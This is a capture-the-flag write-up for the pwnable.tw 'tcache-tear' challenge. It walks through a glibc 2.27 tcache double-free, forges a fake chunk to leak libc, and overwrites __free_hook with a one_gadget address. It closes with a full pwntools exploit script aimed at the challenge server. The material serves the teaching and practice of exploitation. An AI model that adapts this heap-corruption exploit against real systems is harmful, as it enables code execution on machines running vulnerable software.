tcache-tear (pwnable.tw)

07 Jan 2024

Challenge

For this challenge we’re provided a binary, tcache_tear, and a libc file so we can do pwninit to patch up our executable for local testing and all that jazz.

Running checksec shows the following:

milandonhowe@lima-default:~/ctf/pwnable/tcache-tear$ pwn checksec ./tcache_tear
[*] '/home/milandonhowe.linux/ctf/pwnable/tcache-tear/tcache_tear'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

Ok, so no GOT overwrites since Full RELRO, and we need a canary leak for a stack-based buffer overflow. No shellcode execution either due to NX enabled. But PIE is disabled which is nice if we get an arbitrary read or write primitive.

Fortify is a glibc feature that tries to detect buffer overflows on libc functions (ergo instead of read we see __read_chk in the decomp). So, if you couldn’t tell by the name of the challenge, this is almost certainly a heap vulnerability.

The main application itself almost looks like another note app where we can allocate chunks with malloc with sizes upto 0x100 bytes, with the address returned by malloc getting stored in an 8-byte section in the .data segment I’ll label USER_DATA. There’s another interesting global reference to the .data segment which I’ll label NAME_BUFFER which stores a 32 byte input we provide at the beginning of the program.

Here’s an image of the decompiled main function: decompiled code in ghidra

Here we can see that we can free the pointer stored in USER_DATA up to 8 times!

Since we can only allocate chunks into 0x100, when we free the chunk it will go into a tcache bin–and in glibc2.27 there’s no safe guards against performing a double-free for a chunk in the tcache!

Testing Double-Free

When looking in GDB after we double-free a chunk (I provided an input size of 10 when prompted with a payload of “AAAA”) we can see the tcache bin looks like the following in pwndbg:

pwndbg> bins
tcachebins
0x20 [  2]: 0xfdd260 ◂— 0xfdd260
...

pwndbg> tcache
tcache is pointing to: 0xfdd010 for thread 1
{
  counts = "\002", '\000' <repeats 62 times>,
  entries = {0xfdd260, 0x0 <repeats 63 times>},
}

Boom! It looks like we have a cyclic reference in the tcache bin for chunks of size 0x20!

Let’s look at why freeing this pointer twice created a cyclic reference in _int_free code in glibc2.27:

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
        // MILAN: tc_idx is the index of which tcache bin to place it in
   	// this next if loop basically just checks that there's space in the appropriate tcache bin
	  if (tcache
	&& tc_idx < mp_.tcache_bins
	&& tcache->counts[tc_idx] < mp_.tcache_count)
      {
		  // p is the mchunkptr (ptr_from_malloc - 2*ptr_size)
	tcache_put (p, tc_idx); // <-- now let's look at this boii
	return;
      }
  }
#endif

Looking into the tcache_put function:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void // <-- this function get inlined by the compiler ( no call instruction to this in __libc_free )
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS); // <-- verifies tc_idx point to a valid bin
	// the data section of the chunk gets cast to a tcache_entry!

	// e->next should point to the last inserted chunk in our tcache bin (NULL if this is the first entry presumably)
	e->next = tcache->entries[tc_idx];
	// then we tell tcache to point to this chunk
  tcache->entries[tc_idx] = e;
	
	// increments tcache counter
  ++(tcache->counts[tc_idx]);
}

Ok, so basically a summarized operation of free(chunk) does this:

if chunk A can fit into a tcache bin indexed at i:
  set A->fd = pointer in tcache_bins[i]
  set tcache_bins[i] = address of A
  set tcache_bins[i].total_entries += 1

Now, to begin with tcache_bins[i] will equal null so the first free of chunk A will setup tcache like this:

tcache_bins[i] -> A
tcache_bins[i].total_entries = 1

But when we free A again, it will set A->fd = A (since the pointer in tcache_bins[i] is A and we set A->fd to the address in tcache_bins[i])

tcache_bins[i] -> A -> A
tcache_bins[i].total_entries = 2

Getting Arbitrary Write

Now, when we allocate a chunk from that bin, we encounter an interesting scenario where the address we allocate a heap buffer off the tcache bin where we can modify the pointer value in chunk A to point to any address we desire!

Here’s my attempt at explaining it in simple terms, but if you want a grander understanding of this, I recommed downloading the binary yourself a stepping through the heap operations (in pwndbg bins and tcache are great for viewing the contents of the heap tcache bins).

Basically, the tcache looks like this after our double-free:

chunk A {
  fd_addr = reference to A (itself)
}
tcache bin {
  top_addr = reference to A
}

When we get a chunk off tcache it will set the top_addr in the tcache bin to fd_addr in chunk A (which is itself, A), so the pointer fields don’t look like they change at all:

chunk A {
  fd_addr = reference to A
}
tcache bin {
  top_addr = A (still)
}

But now since we can write data into the chunk we just got allocated from malloc (via the program writing data we provide into the chunk), we can overwrite fd_addr to point to anything:

chunk A {
  fd_addr = G (value we put in)
}
tcache bin {
  top_addr = A (still)
}

Then when we malloc another chunk from the bin, we finally get the cache looking like this:

tcache bin {
  top_addr = G
}

From here, when we malloc again (the 3rd time), we will write data into address G!

Side-Note: Buffer-Overrun for unlimited write!

Not only do we have the ability to write anywhere, but due to some borked logic in the read input function of the program (where we write data into our allocated heap chunk), we can write as much data as we want starting at that address:

void AllocFn(void)

{
  ulong __size;
  
  printf("Size:");
  __size = FUN_004009c4(); // say we provide size of < 16 (0x10)
  if (__size < 0x100) {
    USER_DATA = malloc(__size);
    printf("Data:");
    // size is signed, if it is 15 we ask the user to enter -1 bytes
    // which as an unsigned integer is 2^32 bytes for a DWORD (thanks 2s compliment encoding!)
    read_user_data(USER_DATA,(int)__size + -0x10);
    puts("Done !");
  }
  return;
}

This really only holds for the arbitrary write we trigger from the smallest bin (chunk size of 0x20) but it’s good enough for us to build all the fake chunks we want in one arbitrary write.

Arbitrary Write into Libc leak

Ok, so we can write in any address we want! However, ASLR exists so we need some way of getting a leaked address to Libc to make our arbitrary write useful.

The main approach to this generally in heap challenges, involves acquiring a use-after-free, but sadly, we can only print contents located in the NAME_BUFFER for this challenge. IDEA: what if we build a fake chunk on the NAME_BUFFER and free it (get its address into USER_DATA)?

If we can get it in the unsorted bin (which has a doubly-linked structure that includes a libc address as oppossed to the tcache’s singly linked structure) we can get a libc address and then actually take advantage of our arbitrary write!

Here was my strategy for doing this:

  1. Create fake chunk of size 0x500 in NAME_BUFFER.
    • This size should be large enough to get placed in the unsorted bin and not in a tcache bin (tcache has like a maximum of 0x400 byte chunks).
  2. Free it (should result in a libc address getting put into NAME_BUFFER).
  3. Print contents of NAME_BUFFER.
    • This is a function provided by the tcache_tear program.

Let’s look at the layout of a heap chunk (specified in malloc.c) so we figure out how to forge it:

struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

This is the struct view which represents all the fields largely used when the chunk is free. However, we want to forge an allocated chunk, which reading the comments of malloc.c is laid out like this:


    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             Size of previous chunk, if unallocated (P clear)  |
	    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             User data starts here...                          .
	    .                                                               .
	    .             (malloc_usable_size() bytes)                      .
	    .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             (size of chunk, but used for application data)    |
	    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	    |             Size of next chunk, in bytes                |A|0|1|
	    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    Where "chunk" is the front of the chunk for the purpose of most of
    the malloc code, but "mem" is the pointer that is returned to the
    user.  "Nextchunk" is the beginning of the next contiguous chunk.

So basically the fd, bk, fd_nextsize and bk_nextsize fields are all only used when the malloc chunk is freed. Otherwise we just have two size fields which represent the size of the previous chunk, and the current chunk respentively. Note that the bottom three bits of the chunk size (mchunk_size) are used to store flags that indicate whether the previous chunk is in use (1 bit, P, if 1 the prior chunk in contiguous memory is not free) and if the chunk is in the main arena (“A”, the 4s bit) and finally, if the chunk was mmap’d (M bit, 2s bit).

In other words: to check if a chunk is free, you need to check if the next chunk in memory has the P bit set (there’s also always gauranteed to be a sequential chunk in memory as the heap allocates a so-called TOP_CHUNK at the beginning of the program that continuously moves down as new chunks get allocated) so you should always be able to check if the chunk is free (unless you’ve exhausted the entire heap section but then I’d imagine the program just acquires another memory page to extend the heap).

Starting out, this was my initial payload for my unlimited arbitrary write starting at NAME_BUFFER!

alloc(b'10',
# write chunk:
p64(0x0)+ # prev_size field (0x0) shouldn't be checked if we set PREV_INUSE to true in next field
p64(0x500 + 1)+ # set size to 0x500 bytes so we get into unsorted bin and +1 to set the PREV_INUSE bit
b'A'*until_user_data+ # write arbitrary bytes until we overwrite USER_DATA (it's located below NAME_BUFFER so we need to make sure it's a valid pointer
p64(GLOBAL_NAME_ADDR+0x10)+ # set USER_DATA to +0x10 so it imitates the address we'd have returned from malloc()--see above comments about heap chunk
b'C'*(0x500 - until_user_data - 0x10 - 8)+ # fill up the rest of our data field
# Next let's allocate another (small) chunk that tells malloc that the NAME_BUFFER chunk is in-use so it's OK to free:
p64(0)+ # prev_size is zero since we're setting PREV_INUSE again
p64(0x21)+ # min size + PREV_INUSE flag on
b'D'*0x20) # random data, shouldn't matter

Unfortunately, this payload didn’t work (I’d get raised exceptions like "double free or corruption (!prev)"). So, at this point, I just jumped into pwndbg and tried to find where it was failling and why:

pwndbg analysis to beat free

So, I set a break-point in the __libc_free function at started stepping through it. One neat thing about __libc_free is basically all the functions we see used in the source code for glibc2.27 get inlined (there’s no call instructions to basically any of them).

When stepping through it there were a few integrity checks performed by the glibc that were killing my exploit. In the end, I managed to get the below working:

chunk_size = 0x500
alloc(b'10',
		# chunk 1 :   +1 to set PREV_INUSE to true		make sure user_data still points to GLOBAL_NAME_ADDR+0x10 (needed for proper free() logic)
		p64(0x0)+p64(chunk_size+1)+b'A'*until_user_data+p64(GLOBAL_NAME_ADDR+0x10)+b'C'*(chunk_size - until_user_data - 0x10 - 8)
		# chunk 2 (this I iteratively modified to get free() to work)
		# +0	   +0x8        +0x10       						                 +0x18	   +0x20	                          +0x28
		+p64(0) + p64(0x21) + p64(GLOBAL_NAME_ADDR+chunk_size) *2 +  p64(0x20) +p64(GLOBAL_NAME_ADDR+chunk_size)+b'D'*0x20)

Ultimately, I needed some address references in the next sequential chunk to get free to behave properly–in other words it needed the struct to appear as if it had already been freed. My main approach to this was checking what cmp instruction checks my exploit failed on locally and then determining how I could modify the payload to satisfy them (not particularly intellectual for a write-up, but ultimately effective).

#!/usr/bin/env python3

from pwn import *

exe = ELF("./tcache_tear_patched")
libc = ELF("./libc.so")
ld = ELF("./ld-2.27.so")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]

def conn():
	if args.LOCAL:
		r = process([exe.path])
		# print name breakpoint
		#gdb.attach(r,'''
		#handle SIGALRM ignore
		#break *0x00400b99
		#cwatch execute "malloc_chunk -v 0x00602060"
		#continue
		#''')
	else:
		r = remote("chall.pwnable.tw", 10207)

	return r

def main():
	r = conn()

	GLOBAL_NAME_ADDR = 0x00602060

	START_ADDR = GLOBAL_NAME_ADDR
	# good luck pwning :)

	def alloc(size, data):
		r.sendlineafter(b'Your choice :', b'1')
		r.sendlineafter(b'Size:', size)
		r.sendlineafter(b'Data:', data)

	def free():
		r.sendlineafter(b'Your choice :', b'2')
		sleep(1) # <-- needed to work on remote fml lmao
	# let's make a fake chunk in the name buffer

	r.sendlineafter(b'Name:', b'A'*32)

	# 2. tcache double-free into arbitrary write
	alloc(b'20', b'A'*10)
	# free twice, makes cyclic reference
	free()
	free()
	print('double free')

	# this allocate will pollute the forward pointer for the next chunk
	alloc(b'20', p64(START_ADDR)) # pollute fd ptr

	# pop off last legit heap reference (now GLOBAL_ADDR will be there)
	alloc(b'20', b'bingo')	# pop off heap reference
	print('tcache polluted')

	chunk_size = 0x500
	# 3. arbitrary write + overrun to fill up memory and next chunk (need next chunk configured to pass free checks)
	# need fabricate next chunk too

	#this constant helps me calculate where I need to re-write the name buffer address into the user_data global that gets free()'d
	until_user_data = (0x00602088 - (0x00602060+0x10))

	# insane chunk forgery
	alloc(b'10',
		# chunk 1 :   +1 to set PREV_INUSE to true		make sure user_data still points to GLOBAL_NAME_ADDR+0x10 (needed for proper free() logic)
		p64(0x0)+p64(chunk_size+1)+b'A'*until_user_data+p64(GLOBAL_NAME_ADDR+0x10)+b'C'*(chunk_size - until_user_data - 0x10 - 8)
		# chunk 2 (this I iteratively modified to get free() to work)
		# +0	  +0x8        +0x10       						+0x18	   +0x20	 +0x28
		+p64(0) + p64(0x21) + p64(GLOBAL_NAME_ADDR+chunk_size)  *2 +  p64(0x20) +p64(GLOBAL_NAME_ADDR+chunk_size)+b'D'*0x20)
	print('arbitrary write has setup the fake chunks')

	free() # <-- we free our fake chunk here, getting a libc address in NAME_BUFFER

	r.sendlineafter(b'Your choice :', b'3')
	# parse our leaked libc address
	name_buffer = r.recvline() #r.recv(0x20+6)
	print("NAME BUFFER: ", name_buffer)

	leak_addr = u64(name_buffer[0x16:0x16+8])
	print("LEAK:", hex(leak_addr))
	libc_addr = leak_addr - 0x3ebca0
	print("LIBC @ ", hex(libc_addr))

	malloc_hook = libc_addr + 0x3ebc30
	free_hook = libc_addr + 0x3ed8e8
	libc_hook = free_hook
	# OK, double-free tcache chunk again--but with different bin since 0x20 bin is corrupted with AAAAAAAAAAA in the tcache structure :P
	alloc(b'30', b'A'*10)
	free()
	free()
	alloc(b'30', p64(libc_hook))
	alloc(b'30', b'ffff')
	# one_gadget to the rescue
	# trick: mix up stack contents by allocating chunks
	alloc(b'100',b'\x00'*90)
	alloc(b'30', p64(libc_addr+0x4f322))
	# arbitrary write & trigger hook
	r.sendlineafter(b'Your choice :', b'3')
	r.sendlineafter(b'Your choice :',b'2'+b'\x00'*22)
	r.interactive()


if __name__ == "__main__":
	main()